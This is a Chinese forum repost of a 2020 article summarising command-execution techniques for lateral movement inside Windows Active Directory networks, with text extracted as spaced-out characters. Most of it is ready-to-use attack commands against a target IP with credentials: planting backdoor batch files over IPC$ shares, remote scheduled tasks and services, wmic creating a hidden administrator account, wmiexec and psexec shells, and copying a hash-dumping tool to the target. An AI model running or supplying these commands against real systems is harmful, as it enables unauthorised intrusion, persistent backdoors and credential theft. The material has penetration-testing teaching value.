搜索

[21396] 2020-11-09_内网渗透之域渗透命令执行总结

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-11-09_内网渗透之域渗透命令执行总结 内 网 渗 透 之 域 渗 透 命 令 执 行 总 结 乌 雲 安 全   L e m o n S e c   2 0 2 0 - 1 1 - 0 9 前 言 前 言 A D 的 全 称 是 A c t i v e   D i r e c t o r y ： 活 动 目 录 域 （ D o m a i n ） 是 W i n d o w s 网 络 中 独 立 运 行 的 单 位 ， 域 之 间 相 互 访 问 则 需 要 建 立 信 任 关 系 ( 即 T r u s t   R e l a t i o n ) 。 信 任 关 系 是 连 接 在 域 与 域 之 间 的 桥 梁 。 当 一 个 域 与 其 他 域 建 立 了 信 任 关 系 后 两 个 域 之 间 不 但 可 以 按 需 要 相 互 进 行 管 理 ， 还 可 以 跨 网 分 配 文 件 和 打 印 机 等 设 备 资 源 ， 使 不 同 的 域 之 间 实 现 网 络 资 源 的 共 享 与 管 理 ， 以 及 相 互 通 信 和 数 据 传 输 。 在 域 渗 透 场 景 中 ， 我 们 已 经 进 入 内 网 ， 会 遇 到 大 量 的 开 放 端 口 和 服 务 ， 弱 密 码 空 密 码 ， 这 个 时 候 我 们 可 以 使 用 它 们 已 经 开 启 的 服 务 选 择 对 应 的 方 式 进 行 命 令 执 行 。 本 文 对 a d 域 渗 透 中 常 见 的 命 令 执 行 方 式 进 行 一 个 总 结 。 i p c 前 提 前 提 开 启 i p c 共 享 配 置 本 地 安 全 策 略 ： 开 始 - > 运 行 - >   s e c p o l . m s c - > 本 地 策 略 - > 安 全 选 项 - > 网 络 访 问 ： 共 享 > 和 本 地 帐 户 的 安 全 模 型 > 经 典 - 本 地 用 户 进 行 身 份 验 证 配 置 本 地 组 策 略 ： 运 行 g p e d i t . m s c   — — 计 算 机 配 置 — — W i n d o w s 设 置 — — 安 全 设 置 — — 本 地 策 略
— — 安 全 选 项 — — 用 户 账 户 控 制 ： 以 管 理 员 批 准 模 式 运 行 所 有 管 理 员 — — 禁 用 。 文 件 共 享 文 件 共 享 1 2 3 4 5 6 写 入 后 门 文 件 n e t   u s e   z :   目 标 I P c $   " p a s s w d "   / u s e r : " a d m i n " 或 c o p y   h a c k . b a t   目 标 i p c $ # 删 除 连 接 n e t   u s e   目 标 I P i p c $   / d e l 后 续 使 用 下 面 的 方 式 执 行 a t ( w i n 1 0 不 可 用 不 可 用 ) 定 时 任 务 执 行 命 令 前 提 前 提 开 启 w i n d o w s   E v e n t   l o g 服 务 ， 开 启 T a s k   S c h e d u l e r 服 务 其 余 条 件 同 i p c 命 令 执 行 1 2 a t   1 7 0 . 1 7 0 . 6 4 . 1 9   2 3 : 0 0   c : w i n d o w s s y s t e m 3 2 c a l c . e x e a t   1 7 0 . 1 7 0 . 6 4 . 1 9   1   d e l e t e   / y e s   # 删 除 本 机 1 号 任 务 s c h t a s k s 前 提 前 提 开 启 w i n d o w s   E v e n t   l o g 服 务 ， 开 启 T a s k   S c h e d u l e r 服 务 其 余 条 件 同 i p c
1 2 3 s c h t a s k s   / c r e a t e   / t n   f i r s t T a s k   / t r   " c : w i n d o w s s y s t e m 3 2 c m d . e x e   / c   c a l c "   / s c   o n c e   / s t   0 0 : 0 0   / S   1 7 0 . 1 7 0 . 6 4 . 1 9   / R U   S y s t e m   / u   a d m i n   / p   p a s s w d s c h t a s k s   / r u n   / t n   f i r s t T a s k   / S   1 7 0 . 1 7 0 . 6 4 . 1 9   / u   a d m i n   / p   p a s s w d s c h t a s k s   / F   / d e l e t e   / t n   f i r s t T a s k   / S   1 7 0 . 1 7 0 . 6 4 . 1 9   / u   a d m i n   / p   p a s s w d t e l n e t 前 提 前 提 开 启 t e l n e t 服 务 命 令 执 行 命 令 执 行 1 2 t e l n e t   目 标 i p 之 后 可 执 行 命 令 s c 1 2 w i n d o w s 2 0 0 3 w i n d o w s   X P 命 令 执 行 命 令 执 行 1 2 3 s c   1 7 0 . 1 7 0 . 6 4 . 1 9   c r e a t e   t e s t S C   b i n P a t h =   " c m d . e x e   / c   s t a r t   c : w i n d o w s h a c k . b a t " s c   1 7 0 . 1 7 0 . 6 4 . 1 9   s t a r t   t e s t S C s c   1 7 0 . 1 7 0 . 6 4 . 1 9   d e l e t e   t e s t S C w m i c 前 提 前 提 开 启 w m i 服 务 ， 1 3 5 端 口 命 令 执 行 命 令 执 行
1 2 3 w m i c   / n o d e : 1 7 0 . 1 7 0 . 6 4 . 1 9   / u s e r : a d m i n   / p a s s w o r d : p a s s w d   p r o c e s s   c a l l   c r e a t e   " c m d . e x e   / c   c a l c . e x e " w m i c   / n o d e : 1 7 0 . 1 7 0 . 6 4 . 1 9   / u s e r : a d m i n   / p a s s w o r d : p a s s w d   p r o c e s s   c a l l   c r e a t e   " c m d . e x e   / c   n e t   u s e r   t e s t   1 2 3 4 5 6   / a d d   & &   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   t e s t   / a d d " w m i e x e c . v b s ( 需 要 安 装 需 要 安 装 ) 前 提 前 提 开 启 w m i 服 务 ， 1 3 5 端 口 安 装 安 装 下 载 v m i e x e c . v b s 命 令 执 行 命 令 执 行 1 2 3 4 5 6 c s c r i p t . e x e   / / n o l o g o   w m i e x e c . v b s   / s h e l l   1 7 0 . 1 7 0 . 6 4 . 1 9   a d m i n   p a s s w d c s c r i p t . e x e   w m i e x e c . v b s   / c m d   1 7 0 . 1 7 0 . 6 4 . 1 9   a d m i n   p a s s w d   " c m d k e y   / l i s t " c s c r i p t . e x e   w m i e x e c . v b s   / c m d   1 7 0 . 1 7 0 . 6 4 . 1 9   a d m i n   p a s s w d   c : p r o g r a m d a t a t e s t . b a t # 其 他 参 数 - w a i t 5 0 0 0   表 示 这 个 命 令 等 待 5 s 后 再 读 取 结 果 ， 用 于 运 行 “ 运 行 时 间 长 ” 的 命 令 。 - p e r s i s t   程 序 会 在 后 台 运 行 ， 不 会 有 结 果 输 出 ， 而 且 会 返 回 这 个 命 令 进 程 的   P I D ， 方 便 结 束 进 程 ， 用 于 运 行   n c   或 者 木 马 程 序 。 i m p a c k e t s   w m i e x e c ( 需 要 安 装 需 要 安 装 ) 前 提 前 提 开 启 w m i 服 务 ， 1 3 5 端 口 安 装 安 装 1 2 3 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / S e c u r e A u t h C o r p / i m p a c k e t / p i p   i n s t a l l   - r   r e q u i r e m e n t s . t x t p i p   i n s t a l l   i m p a c k e t
命 令 执 行 命 令 执 行 1 2 # 获 取 远 程 计 算 机 交 互 式 s h e l l p y t h o n   w m i e x e c . p y   a d m i n : p a s s w d @ 1 7 0 . 1 7 0 . 6 4 . 1 9 p s e x e c ( 需 要 安 装 需 要 安 装 ) 前 提 前 提 开 启 a d m i n $ 共 享 安 装 安 装 在   h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / s y s i n t e r n a l s / d o w n l o a d s / p s e x e c   下 载 安 装 命 令 执 行 命 令 执 行 1 2 3 4 5 6 7 8 9 1 0 1 1 1 2 1 3 # 打 开 交 互 式 s h e l l p s e x e c   1 7 0 . 1 7 0 . 6 4 . 1 9   - u   a d m i n   - p   p a s s w d   c m d # 执 行 单 条 命 令 p s e x e c   1 7 0 . 1 7 0 . 6 4 . 1 9   - u   a d m i n   - p   p a s s w d   - s   c m d   / c   " c a l c . e x e " # 拷 贝 文 件 到 远 程 计 算 机 并 执 行 p s e x e c   1 7 0 . 1 7 0 . 6 4 . 1 9   - u   a d m i n   - p   p a s s w d   - c   C : U s e r s A d m i n i s t r a t o r D e s k t o p G e t H a s h e s . e x e # 其 他 参 数 – a c c e p t e u l a   第 一 次 运 行 会 弹 框 , 输 入 这 个 参 数 便 不 会 弹 框 - s   以   “ n t   a u t h o r i t y s y s t e m ”   权 限 运 行 远 程 进 程 - h   如 果 可 以 ， 以 管 理 员 权 限 运 行 远 程 进 程 - d   不 等 待 程 序 执 行 完 就 返 回 ， 请 只 对 非 交 互 式 应 用 程 序 使 用 此 选 项 i p   可 以 替 换 成   @ i p . t x t   ( 存 放 多 个   i p   的 文 本 ) ， 可 以 批 量 执 行 命 令 远 程 桌 面 远 程 桌 面 前 提 前 提 开 启 远 程 桌 面 ， 3 3 8 9 端 口
命 令 执 行 命 令 执 行 可 直 接 通 过 m s t s c 进 入 目 标 系 统 。 作 者 ： 作 者 ： L e t i c i a ， 文 章 来 源 ： ， 文 章 来 源 ： L e t i c i a ' s   B l o g 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 【 去 看 场 电 影 吧 】 【 去 看 场 电 影 吧 】 2 0 2 0 h w 系 列 文 章 整 理 （ 中 秋 快 乐 、 国 庆 快 乐 、 双 节 快 乐 ） H W 中 如 何 检 测 和 阻 止 D N S 隧 道 c t f 系 列 文 章 整 理 日 志 安 全 系 列 - 安 全 日 志 【 干 货 】 流 量 分 析 系 列 文 章 整 理 【 干 货 】 超 全 的   渗 透 测 试 系 列 文 章 整 理 【 干 货 】 持 续 性 更 新 - 内 网 渗 透 测 试 系 列 文 章 【 干 货 】 a n d r o i d 安 全 系 列 文 章 整 理 扫 描 关 注 扫 描 关 注 L e m o n S e c
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理